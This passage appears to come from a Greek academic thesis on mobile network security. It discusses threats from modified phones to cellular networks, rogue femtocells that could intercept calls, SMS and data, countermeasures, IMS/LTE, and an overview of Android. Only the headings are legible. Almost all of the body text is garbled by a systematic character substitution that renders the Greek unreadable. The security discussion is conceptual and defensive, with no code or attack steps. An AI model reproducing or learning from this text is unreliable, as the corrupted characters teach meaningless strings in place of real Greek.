Ζ Apple έρεη εθθξάζεη ηελ άπνςε φηη ηα μεθιείδσηα (jailbroken) iPhones κπνξεί λα απνηειέζνπλ 

ζνβαξή απεηιή ζην δίθηπν θηλεηήο ηειεθσλίαο. 

ηελ πξαγκαηηθφηεηα, γηα λα ππάξμεη κηα επίζεζε ελαληίνλ ελφο δηθηχνπ κε ηε ρξήζε θηλεηψλ 

ηειεθψλσλ θαη απηή λα είλαη ζνβαξή θαη εθηεηακέλε θαη λα επεξεάζεη πξαγκαηηθά ην δίθηπν θηλεηήο 

ηειεθσλίαο ρξεηάδνληαη πνιιά θηλεηά ηειέθσλα κε κεγάιε γεσγξαθηθή δηαζπνξά.  

Πψο κπνξεί φκσο κηα ζπζθεπή λα επεξεάζεη ην δίθηπν; πσο έρνπκε ήδε αλαθέξεη έλα ηειέθσλν 

ζπλδέεηαη ζε έλα ζηαζκφ βάζεο (BTS) ρξεζηκνπνηψληαο έλα θαλάιη Um. Σν θαλάιη Um φκσο ζηελ 

πξαγκαηηθφηεηα είλαη κηα ζεηξά απφ δηαθνξεηηθά ινγηθά θαη θπζηθά θαλάιηα, πνπ ιεηηνπξγνχλ καδί 

γηα λα δψζνπλ ηελ αίζζεζε ηεο απξφζθνπηεο πξφζβαζεο ζε θιήζεηο, κελχκαηα, e-mail θαη 

πξφζβαζεο ζην Internet ζε θηλεηά ηεξκαηηθά.  

Μηα φκσο θαθφβνπια ηξνπνπνηεκέλνπ θηλεηή ζπζθεπή, ζα κπνξνχζε επηιεθηηθά λα παξεκβάιεη θαη 

λα θαηαζηξέςεη ή λα ηξνπνπνηήζεη ηα ζήκαηα εθπνκπήο ή πιεξνθνξίεο ειέγρνπ ηνπ δηθηχνπ απφ ην 
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ζηαζκφ βάζεο BTS, κε ηνλ ηξφπν απηφ ζα κπνξνχζε λα ειέγμεη ή λα κπινθάξεη νπνηνδήπνηε άιιν 

λφκηκν θηλεηφ ηειέθσλν εληφο ηεο εκβέιεηαο εθπνκπήο ηνπ. 

Σν ζεκαληηθφ ζέκα βέβαηα εδψ είλαη φηη πξνζβνιή απφ έλα κφλν ηειέθσλν δελ ζα είλαη θάηη 

πεξηζζφηεξν απφ κηα ελφριεζε γεσγξαθηθά πεξηνξηζκέλε. κσο ην πξφβιεκα παίξλεη ηειείσο 

δηαθνξεηηθέο δηαζηάζεηο αλ γηα παξάδεηγκα θάζε θηλεηή ζπζθεπή απφ έλα δεκνθηιέο εκπνξηθφ ζήκα 

(φπσο ην Android ή ην iPhone ή απιά ζπζθεπέο ελφο θαηαζθεπαζηή) αξρίδνπλ λα ζπκπεξηθέξνληαη 

κε έλαλ ηέηνην αλάξκνζην θαη επηθίλδπλν ηξφπν. Θα πξνθαινχζε θαηάξξεπζα ηνπ δηθηχνπ φισλ ησλ 

παξφρσλ, έλα ηεξάζηην πξφβιεκα. 

 

Αληίκεηξα 

Δίλαη γλσζηφ φηη νη αζχξκαηεο επηθνηλσλίεο είλαη ν πιένλ εππξφζβιεηνο ηξφπνο επηθνηλσλίαο ζηηο 

κέξεο καο, θαη απηφ πξέπεη λα ιακβάλεηαη ππφςε φηαλ ε αζθάιεηα ε δηαζεζηκφηεηα ε 

εκπηζηεπηηθφηεηα θαη ε πξνζηαζία απφ θαθφβνπιεο επηζέζεηο είλαη ζηελ θνξπθή ησλ απαηηήζεσλ 

καο. 

Ζ απεηιή πνπ πεξηγξάθεθε πην πάλσ είλαη φκσο ζεσξεηηθή θαη δελ έρεη εθδεισζεί θάηη παξφκνην. 

Ίζσο κάιηζηα ζα ήηαλ πην εχθνιε ε παξέκβαζε λα γίλεη φρη ηξνπνπνηψληαο θαθφβνπια ην ινγηζκηθφ 

ρηιηάδσλ ή εθαηνκκπξίσλ ζπζθεπψλ αιιά κε πην απινχο ηερλνινγηθά ηξφπνπο. 

 

 

 

 

Επιθέςεισ Rogue Femtocell  
 

Έλα femtocell είλαη έλαο κηθξφο, ζηαζκφ βάζεο θηλεηήο ηειεθσλίαο , ρακειήο ηζρχνο ζρεδηαζκέλν 

γηα ρξήζε ζην ζπίηη ή ζε κηθξέο επηρεηξήζεηο. πλδέεηαη κε ην δίθηπν ηνπ παξφρνπ ππεξεζηψλ κέζσ 

επξπδσληθψλ ζπλδέζεσλ (φπσο DSL). Οη ζπζθεπέο πνπ θπθινθνξνχλ ππνζηεξίδνπλ ζπλήζσο δχν 

έσο ηέζζεξα ελεξγά θηλεηά ηειέθσλα ζηελ πεξίπησζε θαηνηθηψλ, θαη νθηψ έσο δεθαέμη ελεξγά 

θηλεηά ηειέθσλα φηαλ πξφθεηηαη γηα επηρεηξήζεηο. Έλα femtocell επηηξέπεη ζηνπο παξφρνπο 

ππεξεζηψλ λα επεθηείλνπλ ηελ θάιπςε ηεο ππεξεζίαο ζε εζσηεξηθνχο ρψξνπο ή γεληθφηεξα ζε 

πεξηνρέο φπνπ ππάξρεη πεξηνξηζκέλε ή αλχπαξθηε πξφζβαζε ζην θηλεηφ δίθηπν 

Γηα ηηο εηαηξείεο θηλεηήο ηειεθσλίαο, ηα ζεηηθά ηνπ femtocell είλαη ε βειηίσζε ηεο θάιπςεο θαη ηεο 

ρσξεηηθφηεηαο, ηδίσο ζε θιεηζηνχο ρψξνπο. Οη θαηαλαισηέο επίζεο επσθεινχληαη απφ ηε βειηησκέλε 

θάιπςε θαη ελδερνκέλσο απφ θαιχηεξε πνηφηεηα επηθνηλσλίαο αιιά θαη δηάξθεηα δσήο ηεο 

κπαηαξίαο.  

 

Σν ζρήκα πνπ αθνινπζεί θαίλεηαη ην ιεηηνπξγηθφ δηάγξακκα κηαο δηάηαμεο κε femtocell . 
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Εηθόλα 3 Δνκή δηθηύνπ κε Femtocell 

 

 

 

 

Οη ζπζθεπέο femtocells είλαη πιήξεηο ζηαζκνί θαη αθνινπζνχλ αθξηβψο ηελ ίδηα δνκή ηνπ GSM ή 

CDMA. πλδένληαη κε ην NSS κέζσ Ethernet θαη κε πξσηφθνιιν ΗΡ, ππνζηεξίδνπλ φιεο ηηο 

ζπζθεπέο (κε ρξήζε ηνπ πξσηφθνιινπ Um) ζην δίθηπν ηνπ θνξέα εθκεηάιιεπζεο, θαη παξέρνπλ 

λφκηκεο θιήζεηο, απνζηνιή θαη ιήςε κελπκάησλ θαη δεδνκέλσλ backhaul ζε νπνηνλδήπνηε 

ζπλδξνκεηή . 

 

Με ηελ εκθάληζε ησλ femtocells ππήξμε άκεζν ελδηαθέξνλ γηα ηελ πηζαλή ηξσηφηεηα ηνπο, απφ ηνπο 

εηδηθνχο επαγγεικαηίεο ησλ ζπζηεκάησλ αζθαιείαο αιιά θαη απφ πηζαλνχο Hackers. Πξφθεηηαη γηα 

ζπζθεπέο πνπ ελζσκαηψλνπλ κηα βαζηθή δηαλνκή Linux κε πνιιέο εμεηδηθεπκέλεο εθαξκνγέο θαη 

εμαηξεηηθφ ξαδηνεμνπιηζκφ πνιχ ρακειήο ηζρχνο, θαη ην πιένλ ζεκαληηθφ ρακειή ηηκή. Σα 

ραξαθηεξηζηηθά απηά ηνπο θάλνπλ ηδαληθνχο γηα έιεγρν θαη πεηξακαηηζκφ απφ θάζε ελδηαθεξφκελν 

θαθφβνπιν ή κε. 

Οη ρξεζηκνπνηνχκελεο εθαξκνγέο εθηεινχλ ηξείο βαζηθέο απνζηνιέο: ζεκαηνδνζία  ειέγρνπ ( γηα 

εθθίλεζε θαη απφιπζε θιήζεσλ θαζψο θαη κελπκάησλ SMS), ε κεηαηξνπή ησλ θσλεηηθψλ θιήζεσλ 

ζε ζήκαηα επηθνηλσλίαο δεδνκέλσλ ζε πξαγκαηηθφ ρξφλν (voice over IP), θαη ε ιεηηνπξγία ηνπ 

ζρεηηθνχ πξσηνθφιινπ  SIP (Session Initiation Protocol). 

Σα Femtocells πεξηιακβάλνπλ επίζεο βαζηθφ ιεηηνπξγηθφ ζχζηεκα ππνζηήξημεο γηα ηελ εμαζθάιηζε 

ηεο ζχλδεζεο backhaul κε ην δίθηπν ηνπ θνξέα εθκεηάιιεπζεο. πλήζσο απηφ γίλεηαη κέζσ IPSec 

ιεηηνπξγίαο κεηαθνξάο ή «tunnel mode ζπλδέζεηο» ζε εηδηθέο gateways αζθαιείαο απφ ηελ πιεπξά 

ηνπ θνξέα εθκεηάιιεπζεο δηθηχνπ θηλεηήο ηειεθσλίαο. ια απηά καδί ζπλζέηνπλ κηα εμαηξεηηθά 

ιεηηνπξγηθή κνλάδα. 

Απφ πιεπξάο αζθάιεηαο, ε ιεηηνπξγία ελφο femtocell πεξηιακβάλεη κηα ζεηξά απφ ζέκαηα πνπ έρνπλ 

ηδηαίηεξν ελδηαθέξνλ, φπσο: 

• ζχλδεζε ηεο ζπζθεπήο 

• εθθίλεζε θαη ηεξκαηηζκφο θιήζεσλ 

• απνζηνιή κελπκάησλ  
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• ζπλδεζηκφηεηα Backhaul 

Ζ ζχλδεζεο ηεο ζπζθεπήο κε ην δίθηπν ζηα ζχγρξνλα femtocells απαηηεί επηθνηλσλία κε ην 

κεραληζκφ ηαπηνπνίεζεο ηνπ παξφρνπ ηνπ δηθηχνπ (Mobile Network Operator MNO). Ζ επηθνηλσλία 

απηή φκσο πξνζθέξεηαη γηα πηζαλέο επηζέζεηο αζθαιείαο. Πξνθαλψο, ν ηξφπνο επηθνηλσλίαο κε ην 

θέληξν ειέγρνπ ηαπηφηεηαο θαη ε αληίζηνηρε παξερφκελε αζθάιεηα είλαη θξίζηκε γηα ηελ αζθάιεηα 

ηεο ζπλνιηθήο πιαηθφξκαο.  

 

ήκεξα, θάζε femtocell πνπ ιακβάλεη ηα row data πνπ ρξεζηκνπνηνχληαη γηα ηελ πηζηνπνίεζε-

ηαπηνπνίεζε κηαο ζπζθεπήο απνηειεί έλα ζνβαξφ θίλδπλν θαη γηα ηνπο MNOs αιιά θαη ηνπο πειάηεο 

ηνπο. Αλ θαη ε πιεξνθνξία λα πξνζηαηεχεηαη κε ηελ ηερληθή ζχλδεζεο «tunnel mode» IPSec κεηαμχ 

ηνπ ΜΝΟ θαη femtocell, είλαη γεγνλφο φηη αλ θάπνηνο έρεη θπζηθή πξφζβαζε ζε κηα ζπζθεπή 

femtocell κπνξεί ζρεηηθά εχθνια λα απνθηήζεη πξφζβαζε ζην ινγηζκηθφ θαη ην πιηθφ ηεο. Δπεηδή 

απηέο νη ζπζθεπέο βαζίδνληαη ζε απιέο δηαλνκέο Linux, φια ηα εξγαιεία θαη ε γλψζε hacking κπνξεί 

λα ρξεζηκνπνηεζνχλ θαη κάιηζηα φρη κφλν απφ εμαηξεηηθά εμεηδηθεπκέλνπο Hackers, αμηνπνηψληαο ηηο 

δπλαηφηεηεο ελφο ζηαζκνχ βάζεο. Σα femtocells εάλ επηζπκνχλ λα δηαηεξήζνπλ ην επίπεδν 

αζθάιεηαο ησλ αληίζηνηρσλ MNOs ζα πξέπεη λα πεξηνξίδνληαη ζε απιή "radio over-IP" 

ιεηηνπξγηθφηεηα, πξνζηαηεχνληαο ηνπο πειάηεο ηνπο. 

Έλα άιιν ελδηαθέξνλ δήηεκα είλαη αλ έλα femtocells ζα απνδέρεηαη σο εμππεξεηνχκελεο ζπζθεπέο 

φιεο φζεο επξίζθνληαη γχξν ηνπο ή κφλν απηέο πνπ αλήθνπλ ζε πηζηνπνηεκέλνπο πειάηεο. Κάπνηνη 

θνξείο εθκεηάιιεπζεο δηθηχσλ ζεσξνχλ φηη αλ πεξηνξίζνπλ ηνλ αξηζκφ ησλ κειψλ ηνπ femtocells ζε 

κεξηθά θηλεηά ηειέθσλα, ζα ράζνπλ ην πιενλέθηεκα ηεο  βειηίσζεο ηνπ δηθηχνπ γηα φινπο ηνπο 

ρξήζηεο, θαη γηα ην ιφγν απηφ επηηξέπνπλ ειεχζεξνη πξφζβαζε ζε θάζε ζπζθεπή. Άιινη θνξείο έρνπλ 

επηιέμεη λα πεξηνξίζνπλ ηηο εμππεξεηνχκελεο ζπζθεπέο απφ έλα femtocell, ζε κηα ιίζηα 

πξνζδηνξίδεηαη θαη ειέγρεηαη απφ ηνλ πειάηε. 

 

Αλ ην femtocell επηηξέπεη κφλν ζπλδέζεηο απφ κηα ιίζηα επηηξεπφκελσλ , έρνπκε έλα ζπκβηβαζκφ 

αλάκεζα ζε κηα ζεηξά απφ παξάγνληεο : ηελ εκπεηξία ηνπ πειάηε, ην φθεινο ηνπ ΜΝΟ, θαη ηελ 

αζθάιεηα .  

 

Οη ππάξρνπζεο ζπζθεπέο femtocells έρνληαο ηε δπλαηφηεηα λα ξπζκηζηνχλ κε ηξφπν πνπ επηηξέπεη ηε 

ιεηηνπξγία ζε θάζε πξνζβάζηκε ζπζθεπή, δίλεη ηελ δπλαηφηεηα θάπνηνο λα ζέζεη ζε ιεηηνπξγία έλα 

femtocell θαη λα ππνθιέπηεη ηειεθσληθέο ζπλνκηιίεο, SMS θαη ζπλδέζεηο δεδνκέλσλ απφ 

αλππνςίαζηνπο πεξαζηηθνχο ησλ νπνίσλ νη θηλεηέο ζπζθεπέο ζα εληαρζνχλ ρσξίο λα ην έρνπλ 

επηιέμεη  ζηνλ θαθφβνπιν απηφ ζηαζκφ βάζεο. Σν ζεηηθφ είλαη φηη ε αθηίλα δξάζεο ελφο femtocells 

είλαη πνιχ πεξηνξηζκέλε. Τπάξρεη πάληνηε βέβαηα ε δπλαηφηεηα βειηίσζεο ηνπ κεραληζκνχ 

εθπνκπήο θαη ιήςεο απμάλνληαο θαηά πνιχ ηελ εκβέιεηα, κε κηθξή δαπάλε. 

 

Πξνζηαζία από θαθόβνπια femtocells  

 
Με δεδνκέλε ηε δεκνηηθφηεηα θαη ηελ επξεία ρξήζε ησλ femtocells, ε πξνζπάζεηα πξέπεη λα γίλεη γηα 

ηελ βειηίσζε απφ ηνπο θαηαζθεπαζηέο θαη ηνπο θνξείο εθκεηάιιεπζεο εθείλσλ ησλ δπλαηνηήησλ θαη 

ραξαθηεξηζηηθψλ πνπ ηα θαζηζηνχλ επάισηα. 

Έλα πην αζθαιέο femtocell δελ ζα έρεη ηελ εμνπζηνδφηεζε λα δεηήζεη πιεξνθνξίεο ζρεηηθά κε έλα 

ζπγθεθξηκέλν ζπλδξνκεηή. Μηα ηέηνηα ζπζθεπή femtocell ζα πξνζηαηεχζεη θαη ηνπο MNOs θαη ηνπο 

πειάηεο απφ ηηο πεξηζζφηεξεο επηζέζεηο. 

Έλα δήηεκα φκσο πνπ παξακέλεη είλαη φηη, ζπλερίδεη λα ππάξρεη ε δπλαηφηεηα θάπνηνο θαθφβνπινο 

λα πξνζπνηείηαη φηη είλαη έλα ΜΝΟ θαη λα παξεκβαίλεη ζηε ιεηηνπξγία ηνπ femtocell. 

ηα δίθηπα GSM δελ ππάξρεη ακνηβαίνο έιεγρνο ηεο ηαπηφηεηαο δηθηχνπ θαη ηεξκαηηθήο ζπζθεπήο 

αιιά κνλνκεξήο έιεγρνο ηεο ηαπηφηεηαο ηνπ ηεξκαηηθνχ. Απηφ ζα πξέπεη λα αληηκεησπηζζεί θαη νη 

λέεο ζπζθεπέο smartphones πνπ ζπλερψο βειηηψλνληαη έρνπλ ηελ δπλαηφηεηα λα ην θάλνπλ αξθεί λα 

ππάξμεη ε αληίζηνηρε ηππνπνίεζε.    

 

 



10 
 

 

Ο Θαυμαςτόσ καινούριοσ κόςμοσ του IP 
 
Ζ λέα ηερλνινγία πνπ πινπνηείηαη ηψξα θαη ζην κέιινλ είλαη ην IMS (ΗΡ Multimedia Subsystem). Οη 

πεξηζζφηεξνη πάξνρνη δηθηχνπ κεηαβαίλνπλ ή πξφθεηηαη λα κεηαβνχλ ζε κηα ηερλνινγηθή πιαηθφξκα 

πνπ είλαη βαζηζκέλε πιήξσο ζηελ ηερλνινγία ΗΡ. (IP-based), θαη φρη ζε δηαθξηηά ή θνηλφρξεζηα 

θαλάιηα ξαδηνζπρλνηήησλ κε αλεξρφκελε θαη θαηεξρνκέλε δεχμε. ε απηή ηε λέα πινπνίεζε, φιεο νη 

ζπζθεπέο ζα έρνπλ απιά κηα ζχλδεζε baseband πνπ είλαη ζε ζέζε λα ζπλδέεη κηα ζπζθεπή ζε έλα 

δίθηπν IP πςειήο ηαρχηεηαο.   

ε απηή ηε λέα ηερλνινγηθή πιαηθφξκα, απφ ηελ άπνςε ηεο αζθάιεηαο, ην ζχλνιν ησλ ππεξεζηψλ (νη 

θιήζεηο, ηα δεδνκέλα, ν έιεγρνο, ηα κελχκαηα), ζα πξέπεη λα ηππνπνηεζνχλ ζε έλα εληαίν ζθειεηφ. 

Απηφο είλαη ην γλσζηφ IPv4 (θαη , αξθεηά ζχληνκα, IPv6 ). ηε κεηάβαζε απηή ζα γίλνπλ θαη θάπνηεο 

αθφκα αιιαγέο: 

• Οη θσλεηηθέο θιήζεηο πινπνηνχληαη κε Real-time Transport Protocol (RTP) κέζσ UDP.  

• Σα κελχκαηα SMS θαη MMS πινπνηνχληαη κε πξσηφθνιιν Short Message Peer-to-Peer (SMPP). 

• Σα θαλάιηα ειέγρνπ πινπνηνχληαη κε Secure Sockets Layer (SSL) ή IPsec (Internet Protocol 

Security)  

 

Ζ κεηάβαζε απηή ζε κηα εληαία πιαηθφξκα έρεη ην κεηνλέθηεκα φηη κπνξεί λα απνδεηρζεί φηη έρεη 

απμεκέλε ηξσηφηεηα. 

 

 
Εηθόλα 4 Η λέα δνκή ηνπ δηθηύνπ θηλεηήο ΙΜS 

 
    

 

ηα δίθηπα Long Term Evolution (LTE), ππάξρνπλ ζπζθεπέο, πνπ ζπλδένληαη κέζσ IP δηθηχσλ ζε 

ππεξεζίεο, πνπ πξνζηαηεχνληαη απφ πχιεο (gateways), νη νπνίεο παξέρνπλ απμεκέλεο δπλαηφηεηεο 

ζηνπο πειάηεο. 

Μία απφ ηηο κεγαιχηεξεο αιιαγέο ζηε κεηάβαζε απφ ην GSM ή ην CDMA ζην LTE είλαη, θπζηθά, ν 

εληαίνο θνξέαο ην πξσηφθνιιν IP, αιιά εμίζνπ κεγάιε αιιαγή είλαη ε δπλαηφηεηα ελφο δηθηχνπ IMS 

λα κπνξεί λα εμππεξεηήζεη θάζε ζπζθεπή IP . Απηφ ζεκαίλεη φηη ν ππνινγηζηήο, ην laptop , ην tablet 

ή ην smartphone ζα κπνξνχζε εμίζνπ θαιά λα ρξεζηκνπνηήζνπλ ηηο ππεξεζίεο πνπ παξέρνληαη απφ 
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έλα δίθηπν IMS. 

 

Μία απφ ηηο θχξηεο δηαθνξέο αλάκεζα ζε έλα πξαγκαηηθφ ζχζηεκα IMS θαη εγθαηάζηαζε GSM είλαη 

ε κέζνδνο κε ηελ νπνία νη ζπζθεπέο έρνπλ πξφζβαζε ζηηο ππεξεζίεο IMS . ε αληίζεζε κε ην GSM , 

ην νπνίν ρξεζηκνπνηεί έλα ζπλδπαζκφ θαλαιηψλ ξαδηνζπρλνηήησλ θαη ηζηνχο θεξαηνζπζηεκάησλ, ην 

IMS ίδηα πεξηνξίδεηαη απζηεξά ζηελ επηθνηλσλία βαζηζκέλε ζην πξσηφθνιιν IP.  

Σν IMS πξαγκαηηθά δελ ελδηαθέξεηαη γηα ην πψο ζα θηάζεηε ζε απηφ, αξθεί λα αθνινπζείηαη ην  

Session Initiation Protocol ( SIP ) θαη κεξηθά IMS - ηδηψκαηα . Χο εθ ηνχηνπ, αθξηβψο γηα 

νπνηαδήπνηε ζπζθεπή ζπλδεδεκέλε ζην Γηαδίθηπν ζα κπνξνχζε λα αμηνπνηήζνπλ ην IMS γηα 

πνιπκεζηθέο ππεξεζίεο.  Οη εηαηξείεο θηλεηήο ηειεθσλίαο αληαπνθξηλφκελεο ζηε λέα θαηάζηαζε  

ζρεδηάδνπλ ζπγθιίλνπζεο ππεξεζίεο. 

Σν πξσηφθνιιν IMS , δελ ελδηαθέξεηαη γηα ην είδνο ηεο ζπζθεπή πνπ ρξεζηκνπνηείηε. ηελ 

πξαγκαηηθφηεηα, ην session setup θαη initiation γεληθά γίλεηαη απφ ηηο δηαθνξεηηθέο εθαξκνγέο, θαη 

θάζε κία απφ ηηο εθαξκνγέο απηέο γλσξίδεη, θαη αληαπνθξίλεηαη ζηνπο πεξηνξηζκνχο ησλ ζπζθεπψλ 

πνπ ζπλδένληαη ζε απηφ. 

 

ε ζρέζε κε ηα δεηήκαηα αζθαιείαο πνπ ζρεηίδνληαη κε ηα θηλεηά ηειέθσλα πξέπεη λα γλσξίδνπκε  

φηη ηα πεξίπινθα ζπζηήκαηα έρνπλ ζπρλά απινχο ηξφπνπο αζηνρίαο. Σν θηλεηφ δίθηπν βέβαηα κε ηελ 

ηεξάζηηα πνιππινθφηεηα ηνπ πιηθνχ, ινγηζκηθνχ, ζπζηεκάησλ, παξφρσλ θαη πειαηψλ είλαη απφιπηα 

αλαγθαίν ζηηο κέξεο καο θαη ε θξνληίδα γηα αζθαιέζηεξε θαη πξνζηαηεπκέλε επηθνηλσλία πξέπεη λα 

είλαη αδηάιεηπηε. 

 

Σα δίθηπα θηλεηήο θηλνχληαη πξνο ηα πιήξσο IP πξσηφθνιια, απηφ έρεη σο απνηέιεζκα λα 

αληηκεησπίζνπλ φια ηα δεηήκαηα αζθαιείαο πνπ επεξέαζαλ ην Γηαδίθηπν θαηά ηε δηάξθεηα ησλ 

ηειεπηαίσλ δχν δεθαεηηψλ. Σν ζεηηθφ είλαη φηη ππάξρεη ε γλψζε θαη ε εκπεηξία πνπ απνθηήζεθε ζηελ 

αληηκεηψπηζε ηνπο. 

 

 

3.Android 
 

3.1 Σύντομη περιγραφή του Android 
 
Σν Android είλαη έλα ιεηηνπξγηθφ ζχζηεκα βαζηζκέλν ζηνλ ππξήλα ηνπ Linux θαη έρεη ζρεδηαζηεί 

θπξίσο γηα θνξεηέο ζπζθεπέο κε νζφλε αθήο φπσο smartphones θαη ππνινγηζηέο tablet. Αξρηθά 

αλαπηχρζεθε απφ ηελ εηαηξία Android Inc, ε νπνία εμαγνξάζηεθε απφ ηελ Google ην 2005.Σν 

Android παξνπζηάζηεθε ην 2007 καδί κε ηελ ίδξπζε ηνπ Open Handset Alliance κηαο θνηλνπξαμίαο 

εηαηξηψλ hardware, software θαη ηειεπηθνηλσληψλ πνπ δεκηνπξγήζεθε κε ζθνπφ ηελ πξνψζεζε ησλ 

αλνηθηψλ πξνηχπσλ γηα ηηο θηλεηέο ζπζθεπέο. Σν πξψην εκπνξηθά δηαζέζηκν smartphone κε 

ιεηηνπξγηθφ Android, ην HTC Dream, θπθινθφξεζε ζηηο 22 Οθησβξίνπ, 2008.  
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Εηθόλα 5 Εηαηξίεο αλάπηπμεο ινγηζκηθνύ θαη θαηαζθεπήο πιηθνύ πάξνρνη δηθηύνπ θαηαζθεπαζηέο ηειεθσληθώλ 

ζπζθεπώλ πνπ απαξηίδνπλ ην Open Handset Alliance 

 

Ζ δηεπαθή ρξήζηε ηνπ Android βαζίδεηαη ζε άκεζν ρεηξηζκφ, θπξίσο κέζσ ηεο νζφλεο αθήο κε 

ελέξγεηεο φπσο άγγηγκα, ζχξζηκν, άλνηγκα ή θιείζηκν. Δζσηεξηθφ πιηθφ, φπσο επηηαρπλζηφκεηξν, 

γπξνζθφπην θαη αηζζεηήξεο εγγχηεηαο ρξεζηκνπνηνχληαη απφ νξηζκέλεο εθαξκνγέο πξνθεηκέλνπ λα 

αληαπνθξηζνχλ ζηηο πξφζζεηεο ελέξγεηεο ηνπ ρξήζηε, γηα παξάδεηγκα, γηα ηελ πξνζαξκνγή ηεο 

νζφλεο απφ θαηαθφξπθν ζε νξηδφληην πξνζαλαηνιηζκφ αλάινγα κε ην πψο ε ζπζθεπή είλαη 

πξνζαλαηνιηζκέλε. Σν Android επηηξέπεη ζηνπο ρξήζηεο λα πξνζαξκφζνπλ ηελ αξρηθή νζφλε κε ηηο 

ζπληνκεχζεηο ζε εθαξκνγέο θαη widgets, ηα νπνία επηηξέπνπλ ζηνπο ρξήζηεο λα εκθαλίδνπλ δσληαλφ 

πεξηερφκελν, φπσο κελχκαηα ειεθηξνληθνχ ηαρπδξνκείνπ θαη πιεξνθνξίεο γηα ηνλ θαηξφ, απεπζείαο 

ζηελ αξρηθή νζφλε. Δθαξκνγέο κπνξνχλ λα ζηείινπλ πεξαηηέξσ εηδνπνηήζεηο πξνο ηνλ ρξήζηε 

ελεκεξψλνληαο γηα λέα κελχκαηα θεηκέλνπ θιπ. 

Σν Android είλαη ινγηζκηθφ αλνηθηνχ θψδηθα (open source) θαη ε Google παξέρεη ηνλ πεγαίν θψδηθα 

(ππφ ηελ άδεηα Apache). Ζ δνκή απηή ηνπ Android επηηξέπεη ζην ινγηζκηθφ λα ηξνπνπνηεζεί 

ειεχζεξα θαη ζα δηαλεκεζεί απφ ηνπο θαηαζθεπαζηέο ζπζθεπψλ, ηνπο παξφρνπο δηθηχνπ θαη 

πξνγξακκαηηζηέο. ηελ πξάμε , νη ζπζθεπέο Android πξνζθέξνληαη κε έλα ζπλδπαζκφ αλνηθηνχ 

θψδηθα θαη θιεηζηνχ (proprietary) ινγηζκηθνχ. Μηα κεγάιε θνηλφηεηα πξνγξακκαηηζηψλ εθπνλνχλ 

εθαξκνγέο (apps) πνπ επεθηείλνπλ ηε ιεηηνπξγηθφηεηα ησλ ζπζθεπψλ, θπξίσο ρξεζηκνπνηείηαη ε 

γιψζζα πξνγξακκαηηζκνχ Java. Σνλ Μάξηε ηνπ 2014 1.169.152 εθαξκνγέο ήηαλ δηαζέζηκεο γηα ην 

Android (εθ ησλ νπνίσλ ην 21% ζεσξνχληαη θαθήο πνηφηεηαο), θαη ν εθηηκψκελνο αξηζκφο ησλ 

downloads απφ ην Google Play, ην θπξίαξρν θαηάζηεκα εθαξκνγψλ Android, ήηαλ 25 δηο γηα ην 

2012. χκθσλα κε έξεπλα πνπ έγηλε ηνλ Απξίιην - Μάην ηνπ 2013, ην Android είλαη ε πην δεκνθηιήο 

πιαηθφξκα γηα πξνγξακκαηηζηέο, θαη ρξεζηκνπνηείηαη απφ ην 71% ησλ πξνγξακκαηηζηψλ γηα 

εθαξκνγέο  θηλεηήο ηειεθσλίαο. 

Σν Android είλαη ε πην επξέσο ρξεζηκνπνηνχκελε πιαηθφξκα smartphone ζηνλ θφζκν. Σν Android 

είλαη δεκνθηιέο ζηηο εηαηξείεο ηερλνινγίαο πνπ δεηνχλ έλα έηνηκν, ρακεινχ θφζηνπο, πξνζαξκφζηκν 

θαη ειαθξχ ιεηηνπξγηθφ ζχζηεκα γηα ζπζθεπέο πςειήο ηερλνινγίαο Παξά ην γεγνλφο φηη 

ζρεδηάζηεθε αξρηθά γηα θηλεηά ηειέθσλα θαη ηακπιέηεο, επίζεο έρεη ρξεζηκνπνηεζεί ζε ηειενξάζεηο, 

θνλζφιεο παηρληδηψλ , ςεθηαθέο θσηνγξαθηθέο κεραλέο θαη άιιεο ειεθηξνληθέο ζπζθεπέο. Ζ Αλνηρηή 

θχζε ηνπ Android έρεη ελζαξξχλεη κηα κεγάιε θνηλφηεηα πξνγξακκαηηζηψλ λα ην ρξεζηκνπνηνχλ 
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πξνθεηκέλνπ λα πξνζζέηνπλ λέα ραξαθηεξηζηηθά γηα πξνρσξεκέλνπο ρξήζηεο, ή αθφκα λα ην 

εγθαζηζηνχλ ζε ζπζθεπέο πνπ επίζεκα ιεηηνπξγνχλ ππφ άιια ιεηηνπξγηθά ζπζηήκαηα. 

Απφ ην Ννέκβξην ηνπ 2013 ην κεξίδην ηνπ Android ζηελ παγθφζκηα αγνξά smartphone , κε 

επηθεθαιήο ηνλ πξντφληα ηεο Samsung, έρεη θηάζεη ην 81%. Ζ ηεξάζηηα επηηπρία ηνπ ιεηηνπξγηθνχ 

ζπζηήκαηνο ην έρεη θαηαζηήζεη ζηφρν ησλ αληαγσληζηψλ ζην πιαίζην ηνπ ιεγφκελνπ «πνιέκνπ ησλ 

smartphones» κεηαμχ ησλ εηαηξεηψλ ηερλνινγίαο. Μέρξη ηνλ επηέκβξην ηνπ 2013 έρνπλ 

ελεξγνπνηεζεί 1 δηζεθαηνκκχξην Android ζπζθεπέο. 

 

 
Εηθόλα 6 Οη Εθαξκνγέο ζην Google Play θαηά ηελ πάξνδν ηνπ ρξόλνπ 

 

 

3.2 Η αρχιτεκτονική του Android 
 
Σν Android είλαη έλα πιήξεο ζχλνιν ινγηζκηθνχ γηα θηλεηέο ζπζθεπέο, κηα ηζρπξή πιαηθφξκα πνπ 

παξέρεη φιε ηελ απαξαίηεηε ιεηηνπξγηθφηεηα θαη εμαζθαιίδεη ηε ζσζηή ιεηηνπξγία ηεο θηλεηήο 

ζπζθεπήο. ηε ζπλέρεηα παξαζέηνπκε ζε γεληθέο γξακκέο ηελ αξρηηεθηνληθή ηνπ android. 

Ζ πιαηθφξκα Android είλαη δνκεκέλε φπσο ζρεδφλ θάζε άιιε πιαηθφξκα σο κηα ζηνίβα κε 

πνιιαπιά ζηξψκαηα πνπ ηξέρνπλ ην έλα πάλσ απφ ην άιιν, ηα ζηξψκαηα ρακειφηεξνπ επηπέδνπ 

παξέρνπλ ππεξεζίεο  πξνο ππεξεζίεο αλψηεξνπ επηπέδνπ. 
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Γηα λα θαηαλνήζνπκε ηηο ιεηηνπξγίεο ηνπ Android αο ξίμνπκε κηα καηηά ελ ζπληνκία ζε θάζε έλα απφ 

ηα θχξηα ζηξψκαηα ζην ζχζηεκα Android. ην θάησ κέξνο είλαη ν ππξήλαο ηνπ Linux (Linux 

kernel). Απηφο ν ππξήλαο ηνπ Linux είλαη ππεχζπλνο γηα ην κεγαιχηεξν κέξνο ησλ εξγαζηψλ πνπ 

